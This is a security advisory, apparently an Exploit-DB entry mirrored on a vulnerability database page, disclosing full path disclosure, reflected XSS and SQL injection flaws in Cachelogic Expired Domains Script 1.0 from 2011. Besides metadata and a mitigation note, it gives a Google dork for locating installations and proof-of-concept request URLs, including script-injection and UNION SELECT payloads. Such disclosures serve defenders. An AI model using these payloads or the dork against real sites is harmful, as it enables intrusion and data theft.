Cachelogic Expired Domains Script 1.0 multiple security vulnerabilities

vendor:

Cachelogic Expired Domains Script

by:

Brendan Coles

7.5

CVSS

HIGH

Full Path Disclosure, Reflected Cross-Site Scripting (XSS), SQL Injection

200, 79, 89

CWE

Product Name: Cachelogic Expired Domains Script

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: cachelogic:expired_domains_script

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

Cachelogic Expired Domains Script 1.0 multiple security vulnerabilities

Cachelogic Expired Domains Script version 1.0 is vulnerable to Full Path Disclosure, Reflected Cross-Site Scripting (XSS) and SQL Injection. An attacker can exploit these vulnerabilities to gain access to sensitive information, execute arbitrary code, and inject malicious SQL queries.

Mitigation:

Upgrade to the latest version of Cachelogic Expired Domains Script, and ensure that all input is properly sanitized and validated.

Source

Exploit-DB raw data:

Cachelogic Expired Domains Script 1.0 multiple security vulnerabilities

# Date: 2011-06-22
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-03-24_Cachelogic_Expired_Domains_Script_1.0_multiple_security_vulnerabilities/

# Software: Cachelogic Expired Domains Script
# Version: <= 1.0
# Google Dork: allinurl:page domain ext filter hyphen numbers ncharacter

# Vendor: CacheLogic
# Homepage: http://cachelogic.net/
# Notified: 2011-03-20 (patched 2011-03-24)

# Full Path Disclosure:

http://localhost/[PATH]/index.php?page[]
http://localhost/[PATH]/index.php?domain[]
http://localhost/[PATH]/index.php?ext[]
http://localhost/[PATH]/index.php?filter[]
http://localhost/[PATH]/index.php?hyphen[]
http://localhost/[PATH]/index.php?numbers[]
http://localhost/[PATH]/index.php?ncharacter[]
http://localhost/[PATH]/index.php?ncharacter='
http://localhost/[PATH]/index.php?searchdays[]
http://localhost/[PATH]/index.php?action[]

# Reflected Cross-Site Scripting (XSS):

http://localhost/[PATH]/stats.php?name="><script>alert(1)</script><p+"
http://localhost/[PATH]/stats.php?ext="><script>alert(1)</script><p+"

# SQL Injection:

http://localhost/[PATH]/index.php?ncharacter=-1+union+select+@@version,null,null--